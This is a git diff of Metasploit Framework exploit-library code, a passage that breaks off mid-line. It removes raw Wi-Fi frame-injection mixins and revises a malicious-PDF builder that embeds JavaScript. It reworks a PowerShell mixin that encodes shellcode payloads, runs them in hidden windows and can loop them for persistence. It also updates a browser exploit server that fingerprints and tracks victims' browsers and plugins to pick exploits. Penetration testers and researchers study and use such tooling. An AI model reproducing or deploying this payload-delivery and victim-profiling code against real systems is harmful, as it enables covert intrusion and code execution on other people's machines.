datastore['TXRATE'].to_i if datastore['TXRATE'] - rescue ::ArgumentError => e - print_status("Warning: #{e}") - end - - self.wifi - end - - def close_wifi - self.wifi = nil - end - - # - # Converts ethernet addresses to binary - # - def eton(addr) - addr.split(':').map { |c| c.hex.chr }.join - end - - def channel - self.wifi.channel - end - - def next_channel - cur = self.wifi.channel - nxt = (cur > 10) ? 1 : cur + 1 - self.wifi.channel = nxt - end - - attr_accessor :wifi - -end - -end diff --git a/lib/msf/core/exploit/lorcon2.rb b/lib/msf/core/exploit/lorcon2.rb deleted file mode 100644 index 6d9622ee54..0000000000 --- a/lib/msf/core/exploit/lorcon2.rb +++ /dev/null @@ -1,141 +0,0 @@ -# -*- coding: binary -*- -module Msf - -### -# -# This module provides methods for sending raw 802.11 frames using the -# ruby-lorco2n extension. -# Please see the ruby-lorcon documentation for more information. -# -### - -module Exploit::Lorcon2 - - # - # Initializes an instance of an exploit module that accesses a 802.11 network - # - - def initialize(info = {}) - super - - default_intf = 'wlan0' - default_driver = 'autodetect' - - if (Rex::Compat.is_windows()) - # Default to the the first airpcap device on Windows - default_intf = "\\\\.\\airpcap00" - - # Default to the airpcap driver on Windows - default_driver = 'airpcap' - end - - register_options( - [ - OptString.new('INTERFACE', [true, 'The name of the wireless interface', default_intf]), - OptString.new('DRIVER', [true, 'The name of the wireless driver for lorcon', default_driver]), - OptInt.new('CHANNEL', [true, 'The initial channel', 11]), - ], Msf::Exploit::Lorcon2 - ) - - - begin - - if(Rex::Compat.is_windows()) - airpcap = Rex::FileUtils.find_full_path("airpcap.dll") - if (not airpcap) - raise RuntimeError, "The airpcap.dll library must be installed" - end - end - - require 'Lorcon2' - @lorcon_loaded = true - - rescue ::Exception => e - @lorcon_loaded = false - @lorcon_error = e - end - - end - - # - # Opens a handle to the specified wireless device - # - def open_wifi - - if (not @lorcon_loaded) - print_status("The Lorcon2 module is not available: #{@lorcon_error}") - raise RuntimeError, "Lorcon2 not available" - end - - if (datastore['DRIVER'] == "autodetect") - self.wifi = ::Lorcon::Device.new(datastore['INTERFACE']) - else - self.wifi = ::Lorcon::Device.new(datastore['INTERFACE'], datastore['DRIVER']) - end - - if (not self.wifi) - raise RuntimeError, "Could not initialize the wireless device interface" - end - - # Configure for injmon - self.wifi.openinjmon() or raise RuntimeError, "Could not open device in inject/monitor combo mode: " + self.wifi.error - - # Configure channel - self.wifi.channel = datastore['CHANNEL'] - - # TODO - add mod/rate once lorcon2 supports it - - self.wifi - end - - # - # This monstrosity works around a series of bugs in the interrupt - # signal handling of Ruby 1.9 and Lorcon2 - # - def each_packet(count=-1) - return if not wifi - begin - @wifi_count = 0 - reader = framework.threads.spawn("Lorcon2Receiver", false) do - wifi.each_packet(count.to_i) do |pkt| - yield(pkt) - @wifi_count += 1 - end - end - reader.join - rescue ::Exception - raise $! - ensure - reader.kill if reader.alive? - end - - @wifi_count - end - - def close_wifi - self.wifi = nil - end - - # - # Converts ethernet addresses to binary - # - def eton(addr) - addr.split(':').map { |c| c.hex.chr }.join - end - - def channel - self.wifi.channel - end - - def next_channel - cur = self.wifi.channel - nxt = (cur > 10) ? 1 : cur + 1 - self.wifi.channel = nxt - end - - attr_accessor :wifi - -end - -end - diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index 1da0a5a5a1..7599c46711 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -19,14 +19,6 @@ require 'msf/core/exploit/php_exe' # CmdStagers require 'msf/core/exploit/cmdstager' -require 'msf/core/exploit/cmdstager_vbs' -require 'msf/core/exploit/cmdstager_vbs_adodb' -require 'msf/core/exploit/cmdstager_debug_write' -require 'msf/core/exploit/cmdstager_debug_asm' -require 'msf/core/exploit/cmdstager_tftp' -require 'msf/core/exploit/cmdstager_bourne' -require 'msf/core/exploit/cmdstager_echo' -require 'msf/core/exploit/cmdstager_printf' # Protocol require 'msf/core/exploit/tcp' @@ -35,7 +27,10 @@ require 'msf/core/exploit/ip' require 'msf/core/exploit/ipv6' require 'msf/core/exploit/dhcp' require 'msf/core/exploit/ntlm' +require 'msf/core/exploit/dcerpc' require 'msf/core/exploit/smb' +require 'msf/core/exploit/smb/authenticated' +require 'msf/core/exploit/smb/psexec' require 'msf/core/exploit/ftp' require 'msf/core/exploit/tftp' require 'msf/core/exploit/telnet' @@ -43,7 +38,6 @@ require 'msf/core/exploit/ftpserver' require 'msf/core/exploit/http/client' require 'msf/core/exploit/http/server' require 'msf/core/exploit/smtp' -require 'msf/core/exploit/dcerpc' require 'msf/core/exploit/sunrpc' require 'msf/core/exploit/mssql' require 'msf/core/exploit/mssql_commands' @@ -53,6 +47,7 @@ require 'msf/core/exploit/snmp' require 'msf/core/exploit/arkeia' require 'msf/core/exploit/ndmp' require 'msf/core/exploit/imap' +require 'msf/core/exploit/gdb' require 'msf/core/exploit/smtp_deliver' require 'msf/core/exploit/pop2' require 'msf/core/exploit/tns' @@ -63,14 +58,13 @@ require 'msf/core/exploit/wdbrpc' require 'msf/core/exploit/wdbrpc_client' require 'msf/core/exploit/afp' require 'msf/core/exploit/realport' +require 'msf/core/exploit/sip' # Telephony require 'msf/core/exploit/dialup' require 'msf/core/exploit/dect_coa' # Networks -require 'msf/core/exploit/lorcon' -require 'msf/core/exploit/lorcon2' require 'msf/core/exploit/capture' # FileFormat @@ -92,10 +86,18 @@ require 'msf/core/exploit/java' # WBEM require 'msf/core/exploit/wbemexec' -#WinRM +# WinRM require 'msf/core/exploit/winrm' # WebApp require 'msf/core/exploit/web' +# Firefox +require 'msf/core/exploit/remote/firefox_privilege_escalation' +require 'msf/core/exploit/remote/firefox_addon_generator' + +# Android +require 'msf/core/exploit/android' + +# Browser Exploit Server require 'msf/core/exploit/remote/browser_exploit_server' diff --git a/lib/msf/core/exploit/pdf.rb b/lib/msf/core/exploit/pdf.rb index ee7afe937c..1a1bcc8528 100644 --- a/lib/msf/core/exploit/pdf.rb +++ b/lib/msf/core/exploit/pdf.rb @@ -22,7 +22,7 @@ module Exploit::PDF ) # We're assuming we'll only create one pdf at a time here. - @xref = [] + @xref = {} @pdf = '' end @@ -148,23 +148,18 @@ module Exploit::PDF #PDF building block functions ## def header(version = '1.5') - hdr = "%PDF-1.5" << eol + hdr = "%PDF-#{version}" << eol hdr << "%" << RandomNonASCIIString(4) << eol hdr end def add_object(num, data) - @xref << @pdf.length + @xref[num] = @pdf.length @pdf << ioDef(num) @pdf << data @pdf << endobj end - def range_rand(min,max) - until min < r=rand(max); end - return r - end - def finish_pdf @xref_offset = @pdf.length @pdf << xref_table @@ -174,12 +169,19 @@ module Exploit::PDF end def xref_table + id = @xref.keys.max+1 ret = "xref" << eol - ret << "0 %d" % (@xref.length + 1) << eol + ret << "0 %d" % id << eol ret << "0000000000 65535 f" << eol - @xref.each do |index| - ret << "%010d 00000 n" % index << eol - end + ret << (1..@xref.keys.max).map do |index| + if @xref.has_key?(index) + offset = @xref[index] + "%010d 00000 n" % offset << eol + else + "0000000000 00000 f" << eol + end + end.join + ret end @@ -196,7 +198,11 @@ module Exploit::PDF end def eol - "\x0d\x0a" + @eol || "\x0d\x0a" + end + + def eol=(new_eol) + @eol = new_eol end def endobj @@ -267,7 +273,7 @@ module Exploit::PDF #Create PDF with Page implant ## def pdf_with_page_exploit(js,strFilter) - @xref = [] + @xref = {} @pdf = '' @pdf << header @@ -290,7 +296,7 @@ module Exploit::PDF # you try to merge the exploit PDF with an innocuous one ## def pdf_with_openaction_js(js,strFilter) - @xref = [] + @xref = {} @pdf = '' @pdf << header @@ -313,7 +319,7 @@ module Exploit::PDF #Create PDF with a malicious annotation ## def pdf_with_annot_js(js,strFilter) - @xref = [] + @xref = {} @pdf = '' @pdf << header @@ -332,5 +338,6 @@ module Exploit::PDF finish_pdf end + end end diff --git a/lib/msf/core/exploit/postgres.rb b/lib/msf/core/exploit/postgres.rb index 2bc60e7282..514eae6c50 100644 --- a/lib/msf/core/exploit/postgres.rb +++ b/lib/msf/core/exploit/postgres.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- require 'msf/core' module Msf diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb index c424182883..b99abc4859 100644 --- a/lib/msf/core/exploit/powershell.rb +++ b/lib/msf/core/exploit/powershell.rb @@ -1,178 +1,380 @@ # -*- coding: binary -*- -require 'zlib' +require 'rex/exploitation/powershell' module Msf module Exploit::Powershell + PowershellScript = Rex::Exploitation::Powershell::Script def initialize(info = {}) super - register_options( - [ - OptBool.new('PERSIST', [true, 'Run the payload in a loop', false]), - OptBool.new('PSH_OLD_METHOD', [true, 'Use powershell 1.0', false]), - OptBool.new('RUN_WOW64', [ - true, - 'Execute powershell in 32bit compatibility mode, payloads need native arch', - false - ]), + register_advanced_options( + [ + OptBool.new('Powershell::persist', [true, 'Run the payload in a loop', false]), + OptInt.new('Powershell::prepend_sleep', [false, 'Prepend seconds of sleep']), + OptBool.new('Powershell::strip_comments', [true, 'Strip comments', true]), + OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]), + OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]), + OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]), + OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w(net reflection old msil)]), ], self.class) end # - # Insert substitutions into the powershell script + # Return an encoded powershell script + # Will invoke PSH modifiers as enabled # - def make_subs(script, subs) - if ::File.file?(script) - script = ::File.read(script) + # @param script_in [String] Script contents + # + # @return [String] Encoded script + def encode_script(script_in) + # Build script object + psh = PowershellScript.new(script_in) + # Invoke enabled modifiers + datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k| + mod_method = k.split('::').last.intern + psh.send(mod_method) end - subs.each do |set| - script.gsub!(set[0],set[1]) - end - if datastore['VERBOSE'] - print_good("Final Script: ") - script.each_line {|l| print_status("\t#{l}")} - end - return script + psh.encode_code end # - # Return an array of substitutions for use in make_subs + # Return a gzip compressed powershell script + # Will invoke PSH modifiers as enabled # - def process_subs(subs) - return [] if subs.nil? or subs.empty? - new_subs = [] - subs.split(';').each do |set| - new_subs << set.split(',', 2) - end - return new_subs - end - - # - # Read in a powershell script stored in +script+ - # - def read_script(script) - script_in = '' - begin - # Open script file for reading - fd = ::File.new(script, 'r') - while (line = fd.gets) - script_in << line - end - - # Close open file - fd.close() - rescue Errno::ENAMETOOLONG, Errno::ENOENT - # Treat script as a... script - script_in = script - end - return script_in - end - - - # - # Return a zlib compressed powershell script + # @param script_in [String] Script contents + # @param eof [String] Marker to indicate the end of file appended to script # + # @return [String] Compressed script with decompression stub def compress_script(script_in, eof = nil) + # Build script object + psh = PowershellScript.new(script_in) + # Invoke enabled modifiers + datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k| + mod_method = k.split('::').last.intern + psh.send(mod_method) + end - # Compress using the Deflate algorithm - compressed_stream = ::Zlib::Deflate.deflate(script_in, - ::Zlib::BEST_COMPRESSION) - - # Base64 encode the compressed file contents - encoded_stream = Rex::Text.encode_base64(compressed_stream) - - # Build the powershell expression - # Decode base64 encoded command and create a stream object - psh_expression = "$stream = New-Object IO.MemoryStream(," - psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));" - # Read & delete the first two bytes due to incompatibility with MS - psh_expression << "$stream.ReadByte()|Out-Null;" - psh_expression << "$stream.ReadByte()|Out-Null;" - # Uncompress and invoke the expression (execute) - psh_expression << "$(Invoke-Expression $(New-Object IO.StreamReader(" - psh_expression << "$(New-Object IO.Compression.DeflateStream(" - psh_expression << "$stream," - psh_expression << "[IO.Compression.CompressionMode]::Decompress))," - psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());" - - # If eof is set, add a marker to signify end of script output - if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end - - # Convert expression to unicode - unicode_expression = Rex::Text.to_unicode(psh_expression) - - # Base64 encode the unicode expression - encoded_expression = Rex::Text.encode_base64(unicode_expression) - - return encoded_expression + psh.compress_code(eof) end # - # Runs powershell in hidden window raising interactive proc msg + # Generate a powershell command line, options are passed on to + # generate_psh_args # - def run_hidden_psh(ps_code,ps_bin='powershell.exe') - ps_args = " -EncodedCommand #{ compress_script(ps_code) } " + # @param opts [Hash] The options to generate the command line + # @option opts [String] :path Path to the powershell binary + # @option opts [Boolean] :no_full_stop Whether powershell binary + # should include .exe + # + # @return [String] Powershell command line with arguments + def generate_psh_command_line(opts) + if opts[:path] and (opts[:path][-1, 1] != '\\') + opts[:path] << '\\' + end - ps_wrapper = <<EOS -$si = New-Object System.Diagnostics.ProcessStartInfo -$si.FileName = #{ps_bin} -$si.Arguments = '#{ps_args}' -$si.UseShellExecute = $false -$si.RedirectStandardOutput = $true -$si.WindowStyle = 'Hidden' -$si.CreateNoWindow = $True -$p = [System.Diagnostics.Process]::Start($si) + if opts[:no_full_stop] + binary = 'powershell' + else + binary = 'powershell.exe' + end + + args = generate_psh_args(opts) + + "#{opts[:path]}#{binary} #{args}" + end + + # + # Generate arguments for the powershell command + # The format will be have no space at the start and have a space + # afterwards e.g. "-Arg1 x -Arg -Arg x " + # + # @param opts [Hash] The options to generate the command line + # @option opts [Boolean] :shorten Whether to shorten the powershell + # arguments (v2.0 or greater) + # @option opts [String] :encodedcommand Powershell script as an + # encoded command (-EncodedCommand) + # @option opts [String] :executionpolicy The execution policy + # (-ExecutionPolicy) + # @option opts [String] :inputformat The input format (-InputFormat) + # @option opts [String] :file The path to a powershell file (-File) + # @option opts [Boolean] :noexit Whether to exit powershell after + # execution (-NoExit) + # @option opts [Boolean] :nologo Whether to display the logo (-NoLogo) + # @option opts [Boolean] :noninteractive Whether to load a non + # interactive powershell (-NonInteractive) + # @option opts [Boolean] :mta Whether to run as Multi-Threaded + # Apartment (-Mta) + # @option opts [String] :outputformat The output format + # (-OutputFormat) + # @option opts [Boolean] :sta Whether to run as Single-Threaded + # Apartment (-Sta) + # @option opts [Boolean] :noprofile Whether to use the current users + # powershell profile (-NoProfile) + # @option opts [String] :windowstyle The window style to use + # (-WindowStyle) + # + # @return [String] Powershell command arguments + def generate_psh_args(opts) + return '' unless opts + + unless opts.key? :shorten + opts[:shorten] = (datastore['Powershell::method'] != 'old') + end + + arg_string = ' ' + opts.each_pair do |arg, value| + case arg + when :encodedcommand + arg_string << "-EncodedCommand #{value} " if value + when :executionpolicy + arg_string << "-ExecutionPolicy #{value} " if value + when :inputformat + arg_string << "-InputFormat #{value} " if value + when :file + arg_string << "-File #{value} " if value + when :noexit + arg_string << '-NoExit ' if value + when :nologo + arg_string << '-NoLogo ' if value + when :noninteractive + arg_string << '-NonInteractive ' if value + when :mta + arg_string << '-Mta ' if value + when :outputformat + arg_string << "-OutputFormat #{value} " if value + when :sta + arg_string << '-Sta ' if value + when :noprofile + arg_string << '-NoProfile ' if value + when :windowstyle + arg_string << "-WindowStyle #{value} " if value + end + end + + # Command must be last (unless from stdin - etc) + if opts[:command] + arg_string << "-Command #{opts[:command]}" + end + + # Shorten arg if PSH 2.0+ + if opts[:shorten] + # Invoke-Command and Out-File require these options to have + # an additional space before to prevent Powershell code being + # mangled. + arg_string.gsub!(' -Command ', ' -c ') + arg_string.gsub!('-EncodedCommand ', '-e ') + arg_string.gsub!('-ExecutionPolicy ', '-ep ') + arg_string.gsub!(' -File ', ' -f ') + arg_string.gsub!('-InputFormat ', '-i ') + arg_string.gsub!('-NoExit ', '-noe ') + arg_string.gsub!('-NoLogo ', '-nol ') + arg_string.gsub!('-NoProfile ', '-nop ') + arg_string.gsub!('-NonInteractive ', '-noni ') + arg_string.gsub!('-OutputFormat ', '-o ') + arg_string.gsub!('-Sta ', '-s ') + arg_string.gsub!('-WindowStyle ', '-w ') + end + + # Strip off first space character + arg_string = arg_string[1..-1] + # Remove final space character + arg_string = arg_string[0..-2] if (arg_string[-1] == ' ') + + arg_string + end + + # + # Wraps the powershell code to launch a hidden window and + # detect the execution environment and spawn the appropriate + # powershell executable for the payload architecture. + # + # @param ps_code [String] Powershell code + # @param payload_arch [String] The payload architecture 'x86'/'x86_64' + # @param encoded [Boolean] Indicates whether ps_code is encoded or not + # + # @return [String] Wrapped powershell code + def run_hidden_psh(ps_code, payload_arch, encoded) + arg_opts = { + noprofile: true, + windowstyle: 'hidden', + } + + if encoded + arg_opts[:encodedcommand] = ps_code + else + arg_opts[:command] = ps_code.gsub("'", "''") + end + + # Old technique fails if powershell exits.. + arg_opts[:noexit] = true if datastore['Powershell::method'] == 'old' + + ps_args = generate_psh_args(arg_opts) + + process_start_info = <<EOS +$s=New-Object System.Diagnostics.ProcessStartInfo +$s.FileName=$b +$s.Arguments='#{ps_args}' +$s.UseShellExecute=$false +$p=[System.Diagnostics.Process]::Start($s) +EOS + process_start_info.gsub!("\n", ';') + + archictecure_detection = <<EOS +if([IntPtr]::Size -eq 4){ +#{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"} +}else{ +#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"} +}; EOS - return ps_wrapper + archictecure_detection.gsub!("\n", '') + + archictecure_detection + process_start_info end # - # Creates cmd script to execute psh payload + # Creates a powershell command line string which will execute the + # payload in a hidden window in the appropriate execution environment + # for the payload architecture. Opts are passed through to + # run_hidden_psh, generate_psh_command_line and generate_psh_args # - def cmd_psh_payload(pay, old_psh=datastore['PSH_OLD_METHOD'], wow64=datastore['RUN_WOW64']) - # Allow powershell 1.0 format - if old_psh - psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay) - else - psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay) + # @param pay [String] The payload shellcode + # @param payload_arch [String] The payload architecture 'x86'/'x86_64' + # @param opts [Hash] The options to generate the command + # @option opts [Boolean] :persist Loop the payload to cause + # re-execution if the shellcode finishes + # @option opts [Integer] :prepend_sleep Sleep for the specified time + # before executing the payload + # @option opts [String] :method The powershell injection technique to + # use: 'net'/'reflection'/'old' + # @option opts [Boolean] :encode_inner_payload Encodes the powershell + # script within the hidden/architecture detection wrapper + # @option opts [Boolean] :encode_final_payload Encodes the final + # powershell script + # @option opts [Boolean] :remove_comspec Removes the %COMSPEC% + # environment variable at the start of the command line + # @option opts [Boolean] :use_single_quotes Wraps the -Command + # argument in single quotes unless :encode_final_payload + # + # @return [String] Powershell command line with payload + def cmd_psh_payload(pay, payload_arch, opts = {}) + opts[:persist] ||= datastore['Powershell::persist'] + opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep'] + opts[:method] ||= datastore['Powershell::method'] + + if opts[:encode_inner_payload] && opts[:encode_final_payload] + fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options' end + + if opts[:no_equals] && !opts[:encode_final_payload] + fail RuntimeError, ':no_equals requires :encode_final_payload option to be used' + end + + psh_payload = case opts[:method] + when 'net' + Msf::Util::EXE.to_win32pe_psh_net(framework, pay) + when 'reflection' + Msf::Util::EXE.to_win32pe_psh_reflection(framework, pay) + when 'old' + Msf::Util::EXE.to_win32pe_psh(framework, pay) + when 'msil' + fail RuntimeError, 'MSIL Powershell method no longer exists' + else + fail RuntimeError, 'No Powershell method specified' + end + # Run our payload in a while loop - if datastore['PERSIST'] - fun_name = Rex::Text.rand_text_alpha(rand(2)+2) - sleep_time = rand(5)+5 + if opts[:persist] + fun_name = Rex::Text.rand_text_alpha(rand(2) + 2) + sleep_time = rand(5) + 5 + vprint_status("Sleep time set to #{sleep_time} seconds") psh_payload = "function #{fun_name}{#{psh_payload}};" psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};" end - # Determine appropriate architecture - ps_bin = wow64 ? '$env:windir+\'\syswow64\WindowsPowerShell\v1.0\powershell.exe\'' : '\'powershell.exe\'' - # Wrap in hidden runtime - psh_payload = run_hidden_psh(psh_payload,ps_bin) - # Convert to base64 for -encodedcommand execution - command = "%COMSPEC% /B /C start powershell.exe -Command #{psh_payload.gsub("\n",';').gsub('"','\"')}\r\n" - end - # - # Convert binary to byte array, read from file if able - # - def build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3)) - code = ::File.file?(input_data) ? ::File.read(input_data) : input_data - code = code.unpack('C*') - psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}" - lines = [] - 1.upto(code.length-1) do |byte| - if(byte % 10 == 0) - lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}" + if opts[:prepend_sleep] + if opts[:prepend_sleep].to_i > 0 + psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload else - lines.push ",0x#{code[byte].to_s(16)}" + vprint_error('Sleep time must be greater than 0 seconds') end end - psh << lines.join("") + "\r\n" + + compressed_payload = compress_script(psh_payload) + encoded_payload = encode_script(psh_payload) + + # This branch is probably never taken... + if encoded_payload.length <= compressed_payload.length + smallest_payload = encoded_payload + encoded = true + else + if opts[:encode_inner_payload] + encoded = true + compressed_encoded_payload = encode_script(compressed_payload) + + if encoded_payload.length <= compressed_encoded_payload.length + smallest_payload = encoded_payload + else + smallest_payload = compressed_encoded_payload + end + else + smallest_payload = compressed_payload + encoded = false + end + end + + # Wrap in hidden runtime / architecture detection + final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded) + + command_args = { + noprofile: true, + windowstyle: 'hidden' + }.merge(opts) + + if opts[:encode_final_payload] + command_args[:encodedcommand] = encode_script(final_payload) + + # If '=' is a bad character pad the payload until Base64 encoded + # payload contains none. + if opts[:no_equals] + while command_args[:encodedcommand].include? '=' + final_payload << ' ' + command_args[:encodedcommand] = encode_script(final_payload) + end + end + else + if opts[:use_single_quotes] + # Escape Single Quotes + final_payload.gsub!("'", "''") + # Wrap command in quotes + final_payload = "'#{final_payload}'" + end + + command_args[:command] = final_payload + end + + psh_command = generate_psh_command_line(command_args) + + if opts[:remove_comspec] + command = psh_command + else + command = "%COMSPEC% /b /c start /b /min #{psh_command}" + end + + vprint_status("Powershell command length: #{command.length}") + if command.length > 8191 + fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)' + end + + command end - - + # + # Useful method cache + # + module PshMethods + include Rex::Exploitation::Powershell::PshMethods + end end end - diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index d9c94c5b78..6cd891aa84 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -1,6 +1,8 @@ # -*- coding: binary -*- require 'erb' +require 'cgi' +require 'date' require 'rex/exploitation/js' ### @@ -16,6 +18,9 @@ module Msf include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb + # this must be static between runs, otherwise the older cookies will be ignored + DEFAULT_COOKIE_NAME = '__ua' + PROXY_REQUEST_HEADER_SET = Set.new( %w{ CLIENT_IP @@ -37,19 +42,21 @@ module Msf # Requirements a browser module can define in either BrowserRequirements or in targets REQUIREMENT_KEY_SET = { - :source => 'source', # Either 'script' or 'headers' - :ua_name => 'ua_name', # Example: MSIE - :ua_ver => 'ua_ver', # Example: 8.0, 9.0 - :os_name => 'os_name', # Example: Microsoft Windows - :os_flavor => 'os_flavor', # Example: XP, 7 - :language => 'language', # Example: en-us - :arch => 'arch', # Example: x86 - :proxy => 'proxy', # 'true' or 'false' - :silverlight => 'silverlight', # 'true' or 'false' - :office => 'office', # Example: "2007", "2010" - :java => 'java', # Example: 1.6, 1.6.0.0 - :clsid => 'clsid', # ActiveX clsid. Also requires the :method key - :method => 'method' # ActiveX method. Also requires the :clsid key + :source => 'source', # Either 'script' or 'headers' + :ua_name => 'ua_name', # Example: MSIE + :ua_ver => 'ua_ver', # Example: 8.0, 9.0 + :os_name => 'os_name', # Example: Microsoft Windows + :os_flavor => 'os_flavor', # Example: XP, 7 + :language => 'language', # Example: en-us + :arch => 'arch', # Example: x86 + :proxy => 'proxy', # 'true' or 'false' + :silverlight => 'silverlight', # 'true' or 'false' + :office => 'office', # Example: "2007", "2010" + :java => 'java', # Example: 1.6, 1.6.0.0 + :clsid => 'clsid', # ActiveX clsid. Also requires the :method key + :method => 'method', # ActiveX method. Also requires the :clsid key + :mshtml_build => 'mshtml_build', # mshtml build. Example: "65535" + :flash => 'flash' # Example: "12.0" (chrome/ff) or "12.0.0.77" (IE) } def initialize(info={}) @@ -72,10 +79,15 @@ module Msf [ OptBool.new('Retries', [false, "Allow the browser to retry the module", true]) ], Exploit::Remote::BrowserExploitServer) + + register_advanced_options([ + OptString.new('CookieName', [false, "The name of the tracking cookie", DEFAULT_COOKIE_NAME]), + OptString.new('CookieExpiration', [false, "Cookie expiration in years (blank=expire on exit)"]) + ], Exploit::Remote::BrowserExploitServer) end # - # Syncs a block of code + # Allows a block of code to access BES resources in a thread-safe fashion # # @param block [Proc] Block of code to sync # @@ -89,7 +101,16 @@ module Msf # @return [String] URI to the exploit page # def get_module_resource - "#{get_resource.chomp("/")}/#{@exploit_receiver_page}" + "#{get_resource.chomp("/")}/#{@exploit_receiver_page}/" + end + + # + # Returns the absolute URL to the module's resource that points to on_request_exploit + # + # @return [String] absolute URI to the exploit page + # + def get_module_uri + "#{get_uri.chomp("/")}/#{@exploit_receiver_page}" end # @@ -166,8 +187,12 @@ module Msf # Special keys to ignore because the script registers this as [:activex] = true or false next if k == :clsid or k == :method - if v.class == Regexp + vprint_debug("Comparing requirement: #{k}=#{v} vs k=#{profile[k.to_sym]}") + + if v.is_a? Regexp bad_reqs << k if profile[k.to_sym] !~ v + elsif v.is_a? Proc + bad_reqs << k unless v.call(profile[k.to_sym]) else bad_reqs << k if profile[k.to_sym] != v end @@ -178,7 +203,7 @@ module Msf # # Returns the target profile based on the tag. Each profile has the following structure: - # 'cookie' => + # 'cookie_name' => # { # :os_name => 'Windows', # :os_flavor => 'something' @@ -198,9 +223,12 @@ module Msf # For more info about what the actual value might be for each key, see HttpServer. # # If the source is 'script', the profile might have even more information about plugins: - # 'office' : The version of Microsoft Office (IE only) - # 'activex' : Whether a specific method is available from an ActiveX control (IE only) - # 'java' : The Java version + # 'office' : The version of Microsoft Office (IE only) + # 'activex' : Whether a specific method is available from an ActiveX control (IE only) + # 'java' : The Java version + # 'mshtml_build' : The MSHTML build version + # 'flash' : The Flash version + # 'silverlight' : The Silverlight version # # @param tag [String] Either a cookie or IP + User-Agent # @return [Hash] The profile found. If not found, returns nil @@ -225,13 +253,13 @@ module Msf end # - # Initializes a profile + # Initializes a profile, if it did not previously exist # # @param tag [String] A unique string as a way to ID the profile # def init_profile(tag) sync do - @target_profiles[tag] = {} + @target_profiles[tag] ||= {} end end @@ -243,14 +271,18 @@ module Msf # # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser # - def retrieve_tag(request) - tag = request.headers['Cookie'].to_s + def retrieve_tag(cli, request) + cookie = CGI::Cookie.parse(request.headers['Cookie'].to_s) + tag = cookie.has_key?(cookie_name) && cookie[cookie_name].first if tag.blank? # Browser probably doesn't allow cookies, plan B :-/ + vprint_status("No cookie received, resorting to headers hash.") ip = cli.peerhost os = request.headers['User-Agent'] tag = Rex::Text.md5("#{ip}#{os}") + else + vprint_status("Received cookie '#{tag}'.") end tag @@ -264,23 +296,18 @@ module Msf # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser # def process_browser_info(source, cli, request) - tag = retrieve_tag(request) - - # Browser doesn't allow cookies. Can't track that, use a different way to track. - init_profile(tag) if request.headers['Cookie'].blank? + tag = retrieve_tag(cli, request) + init_profile(tag) target_info = get_profile(tag) + update_profile(target_info, :source, source.to_s) # Gathering target info from the detection stage case source when :script # Gathers target data from a POST request - update_profile(target_info, :source, 'script') - raw = Rex::Text.uri_decode(Rex::Text.decode_base64(request.body)) - raw.split('&').each do |item| - k, v = item.scan(/(\w+)=(.*)/).flatten - update_profile(target_info, k.to_sym, v) - end - + parsed_body = CGI::parse(Rex::Text.decode_base64(request.body) || '') + vprint_debug("Received sniffed browser data over POST: \n#{parsed_body}.") + parsed_body.each { |k, v| update_profile(target_info, k.to_sym, v.first) } when :headers # Gathers target data from headers # This may be less accurate, and most likely less info. @@ -288,7 +315,6 @@ module Msf # Module has all the info it needs, ua_string is kind of pointless. # Kill this to save space. fp.delete(:ua_string) - update_profile(target_info, :source, 'headers') fp.each do |k, v| update_profile(target_info, k.to_sym, v) end @@ -343,6 +369,7 @@ module Msf return Base64.encode(q.join('&')); } + window.onload = function() { var osInfo = window.os_detect.getVersion(); var d = { @@ -352,11 +379,13 @@ module Msf "<%=REQUIREMENT_KEY_SET[:ua_ver]%>" : osInfo.ua_version, "<%=REQUIREMENT_KEY_SET[:arch]%>" : osInfo.arch, "<%=REQUIREMENT_KEY_SET[:java]%>" : window.misc_addons_detect.getJavaVersion(), - "<%=REQUIREMENT_KEY_SET[:silverlight]%>" : window.misc_addons_detect.hasSilverlight() + "<%=REQUIREMENT_KEY_SET[:silverlight]%>" : window.misc_addons_detect.hasSilverlight(), + "<%=REQUIREMENT_KEY_SET[:flash]%>" : window.misc_addons_detect.getFlashVersion() }; <% if os == OperatingSystems::WINDOWS and client == HttpClients::IE %> d['<%=REQUIREMENT_KEY_SET[:office]%>'] = window.ie_addons_detect.getMsOfficeVersion(); + d['<%=REQUIREMENT_KEY_SET[:mshtml_build]%>'] = ScriptEngineBuildVersion().toString(); <% clsid = @requirements[:clsid] method = @requirements[:method] @@ -367,8 +396,9 @@ module Msf <% end %> var query = objToQuery(d); - postInfo("<%=get_resource.chomp("/")%>/<%=@info_receiver_page%>/", query); - 